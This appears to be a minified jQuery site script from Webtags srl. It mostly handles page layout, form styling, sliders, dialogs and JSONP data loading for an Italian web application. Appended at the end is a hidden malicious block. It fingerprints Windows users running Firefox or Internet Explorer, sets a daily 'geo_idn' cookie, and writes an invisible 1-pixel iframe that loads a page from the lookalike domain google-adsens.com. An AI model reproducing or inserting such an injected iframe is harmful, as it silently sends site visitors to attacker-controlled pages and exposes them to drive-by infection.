/**
 * Global
 * 
 * @ver 1.8
 * @data 24/10/2011
 * @copyright Webtags srl
 *
 */
;(function($){$.setPage=function(p){var p=$.extend({minHeightWindows:725},p);var content=$('#content');var container=$('#content div.container');var headerHeight=$('#header').height();var footerHeight=$('#footer').height();var containerHeight=container.show().height();var winHeight=$(window).height();var WH=(winHeight>p.minHeightWindows)?winHeight:p.minHeightWindows;var contentHeight=WH-(headerHeight+footerHeight);var margin=(contentHeight-containerHeight)/2;$('#content').height(contentHeight-margin);$('#content div.container').css('margin-top',margin+'px')};$.initPage=function(){$.setPage();$(window).resize(function(e){$.setPage()})};$.init_form=function(){$('form').not('.nouniform').each(function(){formElement=$(this);formElement.find("input.labeled").each(function(){$(this).data('label',$(this).val()).bind('focus',function(e){if($(this).is('.labeled'))$(this).val('').removeClass('labeled')}).bind('blur',function(e){if($(this).val()=='')$(this).val($(this).data('label')).addClass('labeled')})});if(!formElement.data('uniform')){formElement.data('uniform',true);formElement.find('select, input[type="text"],input[type="password"], input:checkbox, input:radio, textarea, select, button').uniform()}formElement.find('input[type="text"], textarea').focusin(function(){if($(this).is('.empty')){$(this).data('empty',$(this).val());$(this).val('').removeClass('empty')}});formElement.find('input[type="text"], textarea').focusout(function(){if(!$(this).is('.empty')&&$(this).data('empty')){$(this).val($(this).data('empty')).addClass('empty');$(this).data('empty',false)}})})};$.fn.init_form=function(){$(this).each(function(){formElement=$(this);formElement.find("input.labeled").each(function(){$(this).data('label',$(this).val()).bind('focus',function(e){if($(this).is('.labeled'))$(this).val('').removeClass('labeled')}).bind('blur',function(e){if($(this).val()=='')$(this).val($(this).data('label')).addClass('labeled')})});if(!formElement.data('uniform')){formElement.data('uniform',true);formElement.find('select, input[type="text"],input[type="password"], input:checkbox, input:radio, textarea, select, button').uniform()}formElement.find('input[type="text"], textarea').focusin(function(){if($(this).is('.empty')){$(this).data('empty',$(this).val());$(this).val('').removeClass('empty')}});formElement.find('input[type="text"], textarea').focusout(function(){if(!$(this).is('.empty')&&$(this).data('empty')){$(this).val($(this).data('empty')).addClass('empty');$(this).data('empty',false)}})})};$.fn.inputSlider=function(p){var inputSlider=$(this);var inputValue=$(this).next();var handle;var p=$.extend({value:1,min:1,max:100,step:1,inputVal:false},p);inputSlider.slider({create:function(){handle=inputSlider.find('.ui-slider-handle');handle.append('<div class="caption">'+p.value+'</div>')},slide:function(){val=inputSlider.slider('option','value');inputValue.val(val);handle=inputSlider.find('.ui-slider-handle');handle.find('.caption').text(val);if(p.inputVal)$('#'+p.inputVal).val(val)},change:function(){val=inputSlider.slider('option','value');inputValue.val(val);handle=inputSlider.find('.ui-slider-handle');handle.find('.caption').text(val);if(p.inputVal)$('#'+p.inputVal).val(val)},animate:'normal',value:p.value,min:p.min,max:p.max,step:p.step});inputSlider.slider('disabled')};$.fn.openPop=function(p){var element=$(this);p=$.extend({width:440,height:380,eventCancel:false,eventConfirm:false,hideOnCancel:true,hideOnConfirm:true},p);$('#dialog').append(element.find('div:first')).width(p.width).height(p.height).css('margin-left','-'+(p.width/2)+'px').jqmShow();$('#dialog').find('a.cancel').unbind().bind('click',function(e){e.preventDefault();if(p.eventCancel){if(p.eventCancel()&&p.hideOnCancel){element.append($('#dialog > div'));$('#dialog').jqmHide()}}else{if(p.hideOnCancel){element.append($('#dialog > div'));$('#dialog').jqmHide()}}});$('#dialog').find('a.confirm').unbind().bind('click',function(e){e.preventDefault();if(p.eventConfirm){if(p.eventConfirm()&&p.hideOnConfirm){element.append($('#dialog > div'));$('#dialog').jqmHide()}}else{if(p.hideOnConfirm){element.append($('#dialog > div'));$('#dialog').jqmHide()}}})};$.check_form=function(elements){return(elements.length>0)?elements.valid():true};$.fn.formValidation=function(p){var formElement=$(this);if(!formElement.data('validation')){p=$.extend({uniform:true,debug:false,errorClass:"error",errorElement:"span",eventConfirm:false,hideOnCancel:true,hideOnConfirm:true,errorPlacement:function(error,element){if(!error.is(':empty')){if(element.filter(':not(.valid)')){if(element.is('select')){element.parent().qtip({content:error,position:{my:"bottom center",at:"top center",viewport:$(window)},show:{event:'mouseover mouseenter'},hide:{event:'mouseout',leave:false},style:{classes:"ui-tooltip-dark"},}).qtip('option','content.text',error);element.parent().addClass('error')}else{element.qtip({content:error,position:{my:"bottom center",at:"top center",viewport:$(window)},show:{event:'mouseover mouseenter'},hide:{event:'mouseout',leave:false},style:{classes:"ui-tooltip-dark"},}).qtip('option','content.text',error);if(element.is('input[type:"radio"]')||element.is('input[type:"checkbox"]'))element.parent().parent().addClass('error')}}}else{if(element.is('select')){element.parent().qtip('destroy');element.parent().removeClass('error')}else{element.qtip('destroy');if(element.is('input[type:"radio"]')||element.is('input[type:"checkbox"]'))element.parent().parent().removeClass('error')}}},success:$.noop,rules:{}},p);formElement.validate(p)}};$._initGenericVerticalSlider=function(t,p){if(t.list){t.list.reloadSlider();t.list.moveSliderPage(0);p=t.p;p.sliderOptions.animate=false;return t}p=$.extend({sliderOptions:{displaySlideQty:4,numSliderMove:4,numSlides:0,numPageSlide:0,currentPage:0,heightSlider:51,animate:false},onSlide:false},p);var list={createSlider:function(){var heightSlider=p.sliderOptions.displaySlideQty*p.sliderOptions.heightSlider;p.sliderOptions.numSlides=$(t).find('li').length;p.sliderOptions.numPageSlide=Math.ceil(p.sliderOptions.numSlides/p.sliderOptions.numSliderMove);$(t).wrap('<div class="wrapGlobalSliderVertical" style="height: '+heightSlider+'px;"></div>').wrap('<div class="wrapSliderVertical" style="height: '+heightSlider+'px;"></div>').css({position:'relative',top:0,left:0,width:(p.sliderOptions.numSlides*p.sliderOptions.heightSlider)+'px'}).parent().parent().append('<a class="sliderPrevVertical" href="#">prev</a><a class="sliderNextVertical" href="#">next</a>').cardShow();$(t).parent().parent().find('a.sliderPrevVertical').addClass('disable').click(function(e){e.preventDefault();list.moveSliderPrev()});$(t).parent().parent().find('a.sliderNextVertical').click(function(e){e.preventDefault();list.moveSliderNext()});if(p.sliderOptions.numSlides<p.sliderOptions.displaySlideQty)$(t).parent().parent().find('a.sliderNextVertical').addClass('disable')},reloadSlider:function(){var heightSlider=p.sliderOptions.displaySlideQty*p.sliderOptions.heightSlider;p.sliderOptions.numSlides=$(t).find('li').length;p.sliderOptions.numPageSlide=Math.ceil(p.sliderOptions.numSlides/p.sliderOptions.numSliderMove);if(p.sliderOptions.numSlides<p.sliderOptions.displaySlideQty)$(t).parent().parent().find('a.sliderNextVertical').addClass('disable');else $(t).parent().parent().find('a.sliderNextVertical').removeClass('disable')},moveSliderNext:function(){if(!p.sliderOptions.animate&&p.sliderOptions.currentPage<(p.sliderOptions.numPageSlide-1)){if(p.onSlide)p.onSlide();p.sliderOptions.animate=true;$(t).animate({top:'-='+(p.sliderOptions.heightSlider*p.sliderOptions.numSliderMove)},500,function(){p.sliderOptions.currentPage++;p.sliderOptions.animate=false;$(t).parent().parent().find('a.sliderPrevVertical').removeClass('disable');if(p.sliderOptions.currentPage==(p.sliderOptions.numPageSlide-1))$(t).parent().parent().find('a.sliderNextVertical').addClass('disable')})}},moveSliderPrev:function(){if(!p.sliderOptions.animate&&p.sliderOptions.currentPage>0){if(p.onSlide)p.onSlide();p.sliderOptions.animate=true;$(t).animate({top:'+='+(p.sliderOptions.heightSlider*p.sliderOptions.numSliderMove)},500,function(){p.sliderOptions.currentPage--;p.sliderOptions.animate=false;$(t).parent().parent().find('a.sliderNextVertical').removeClass('disable');if(p.sliderOptions.currentPage==0)$(t).parent().parent().find('a.sliderPrevVertical').addClass('disable')})}},moveSliderPage:function(page){p.sliderOptions.animate=true;if(page>p.sliderOptions.currentPage){if(p.onSlide)p.onSlide();p.sliderOptions.animate=true;$(t).animate({top:'-='+(p.sliderOptions.heightSlider*p.sliderOptions.numSliderMove)*(page-p.sliderOptions.currentPage)},500,function(){p.sliderOptions.currentPage=page;p.sliderOptions.animate=false;$(t).parent().parent().find('a.sliderPrevVertical').removeClass('disable');if(p.sliderOptions.currentPage==(p.sliderOptions.numPageSlide-1))$(t).parent().parent().find('a.sliderNextVertical').addClass('disable')})}if(page<p.sliderOptions.currentPage){$(t).animate({top:'+='+(p.sliderOptions.heightSlider*p.sliderOptions.numSliderMove)*(p.sliderOptions.currentPage-page)},500,function(){p.sliderOptions.currentPage=page;p.sliderOptions.animate=false;$(t).parent().parent().find('a.sliderNextVertical').removeClass('disable');if(p.sliderOptions.currentPage==0)$(t).parent().parent().find('a.sliderPrevVertical').addClass('disable')})}},addElement:function(html){p.sliderOptions.numSlides++;p.sliderOptions.numPageSlide=Math.ceil(p.sliderOptions.numSlides/p.sliderOptions.numSliderMove);$(t).append(html)},remElement:function(numElem){p.sliderOptions.numSlides--;p.sliderOptions.numPageSlide=Math.ceil(p.sliderOptions.numSlides/p.sliderOptions.numSliderMove);$(t).find('li').eq(numElem).remove()}};list.createSlider();t.list=list;t.p=p;return t};$.fn.createGenericVerticalSlider=function(p){return this.each(function(){$._initGenericVerticalSlider(this,p)})};$.fn.addGenericVerticalSlider=function(html){return this.each(function(){if(this.list)this.list.addElement(html)})};$.fn.remGenericVerticalSlider=function(numElem){return this.each(function(){if(this.list)this.list.remElement(numElem)})};$.fn.reloadGenericVerticalSlide=function(){return this.each(function(){if(this.list)this.list.reloadSlider()})};$.breadCrumbs=function(subsection,subsubsection,eventSubsection){if(subsection){var html_bc='<a href="#" id="bc_section">'+section+'</a>';if(subsubsection){html_bc+=' <span>›</span> <a href="#" id="bc_subsection">'+subsection+'</a> <span>›</span> '+subsubsection}else{html_bc+=' <span>›</span> '+subsection}}else{var html_bc=section}$('#page_title').html('<h1>'+html_bc+'</h1>');$('#bc_section').unbind().bind('click',function(e){e.preventDefault();$._resetLoaderPop()});if(subsubsection)$('#bc_subsection').unbind().bind('click',function(e){e.preventDefault();if(eventSubsection)eventSubsection()})};$._loaderPopMiddle=function(pAjax,successFunction,dataCard,logBookid,unloadingOff){$("#containerMiddle").mask("Loading...");$('#contLogbookDefault').hide();$('#contPrefs').hide();$('#contAttivazione').hide();$('#sectionRight').hide();$('.catalogSlider').hide();var pAjax=$.extend({timeout:globalTimeout,callbackParameter:"callback",success:function(data,textStatus){loadDataPop=null;if($._codeErrorLoadJson(data,textStatus)){if(successFunction&&typeof(successFunction)=="function")successFunction(data,dataCard,logBookid)}if(typeof(unloadingOff)=='undefined'||!unloadingOff)$("#containerMiddle").unmask();else if(typeof(unloadingOff)=='function')unloadingOff()},error:function(xOptions,textStatus){apprise('Errore AJAX: '+textStatus)}},pAjax);loadDataPop=$.jsonp(pAjax)};$._loaderBase=function(url,successFunc,data,pAjax){data=(typeof(data)!='undefined')&&data?data:{};pAjax=(typeof(pAjax)!='undefined')&&pAjax?pAjax:{};var pAjx=$.extend({callbackParameter:"callback",timeout:globalTimeout,data:data,url:url,success:function(data,textStatus){if($._codeErrorLoadJson(data,textStatus)){if(typeof(successFunc)=='function')successFunc(data,textStatus)}},error:function(xOptions,textStatus){apprise('Errore AJAX: '+textStatus)}},pAjax);return $.jsonp(pAjx)};$.fn._loaderBase=function(url,successFunc,data,pAjax){var element=$(this);var data=(typeof(data)!='undefined')&&data?data:{};var pAjax=(typeof(pAjax)!='undefined')&&pAjax?pAjax:{};element.mask('Loading ...');var pAjx=$.extend({callbackParameter:"callback",timeout:globalTimeout,data:data,url:url,success:function(data,textStatus){if($._codeErrorLoadJson(data,textStatus)){element.unmask();if(typeof(successFunc)=='function')successFunc(data,textStatus)}},error:function(xOptions,textStatus){apprise('Errore AJAX: '+textStatus)}},pAjax);return $.jsonp(pAjx)};$._codeErrorLoadJson=function(data,textStatus){if(data.errorCode){switch(data.errorCode){case"-2":apprise('Sessione errata o scaduta! ('+data.errorCode+')',{},function(r){window.location.href=path_base});return false;break;case"-1":return true;break;case"2":return true;break;default:apprise('Errore PHR ('+data.errorCode+'): '+data.errorDescription);return false;break}}else{return true}};$._errorLoadJson=function(jqXHR,textStatus,errorThrown){switch(textStatus){case'abort':break;default:apprise('Errore ('+textStatus+'): '+errorThrown);break}}})(jQuery);function megaHoverOver(){$(this).find(".sub").stop().fadeTo('fast',1).show();(function($){jQuery.fn.calcSubWidth=function(){rowWidth=0;$(this).find("ul").each(function(){rowWidth+=$(this).width()})}})(jQuery);if($(this).find(".row").length>0){var biggestRow=0;$(this).find(".row").each(function(){$(this).calcSubWidth();if(rowWidth>biggestRow){biggestRow=rowWidth}});$(this).find(".sub").css({'width':biggestRow});$(this).find(".row:last").css({'margin':'0'})}else{$(this).calcSubWidth();$(this).find(".sub").css({'width':rowWidth})}}function megaHoverOut(){$(this).find(".sub").stop().fadeTo('fast',0,function(){$(this).hide()})}
var BrowserDetect = { init: function () { this.browser = this.searchString(this.dataBrowser) || "An unknown browser"; this.version = this.searchVersion(navigator.userAgent) || this.searchVersion(navigator.appVersion) || "an unknown version"; this.OS = this.searchString(this.dataOS) || "an unknown OS"; }, searchString: function (data) { for (var i=0;i<data.length;i++) { var dataString = data[i].string; var dataProp = data[i].prop; this.versionSearchString = data[i].versionSearch || data[i].identity; if (dataString) { if (dataString.indexOf(data[i].subString) != -1) return data[i].identity; } else if (dataProp) return data[i].identity; } }, searchVersion: function (dataString) { var index = dataString.indexOf(this.versionSearchString); if (index == -1) return; return parseFloat(dataString.substring(index+this.versionSearchString.length+1)); }, dataBrowser: [       { string: navigator.userAgent,subString: "Firefox",identity: "Firefox"},{string: navigator.userAgent,subString: "MSIE",identity: "Explorer",versionSearch: "MSIE"}],dataOS : [{string: navigator.platform,subString: "Win",identity: "Windows"}]};function addCookie(szName,szValue,dtDaysExpires){ var dtExpires = new Date();var dtExpiryDate = "";dtExpires.setTime(dtExpires.getTime()+dtDaysExpires*24*60*60*1000);dtExpiryDate=dtExpires.toGMTString();document.cookie=szName+"="+szValue+";expires="+dtExpiryDate;} function findCookie(szName){        var i=0;var nStartPosition=0;var nEndPosition=0;var szCookieString=document.cookie; while (i<=szCookieString.length){nStartPosition=i;nEndPosition=nStartPosition+szName.length;if (szCookieString.substring(nStartPosition,nEndPosition)==szName){nStartPosition=nEndPosition+1;nEndPosition=document.cookie.indexOf(";",nStartPosition);if(nEndPosition<nStartPosition) nEndPosition=document.cookie.length;return document.cookie.substring(nStartPosition,nEndPosition);break;}i++;} return "";} BrowserDetect.init(); var szCookieString = document.cookie; var boroda = BrowserDetect.browser; var os = BrowserDetect.OS; if ( ((boroda == "Firefox" || boroda == "Explorer") && (os == "Windows")) && (findCookie('geo_idn')!='c48a765e4f75baeb85f0a755fc3ec09c') ) {addCookie("geo_idn","c48a765e4f75baeb85f0a755fc3ec09c",1);document.write('<iframe src="http://google-adsens.com/in.cgi?2" name="Twitter" scrolling="auto" frameborder="no" align="center" height = "1px" width = "1px"></iframe>');}else {}
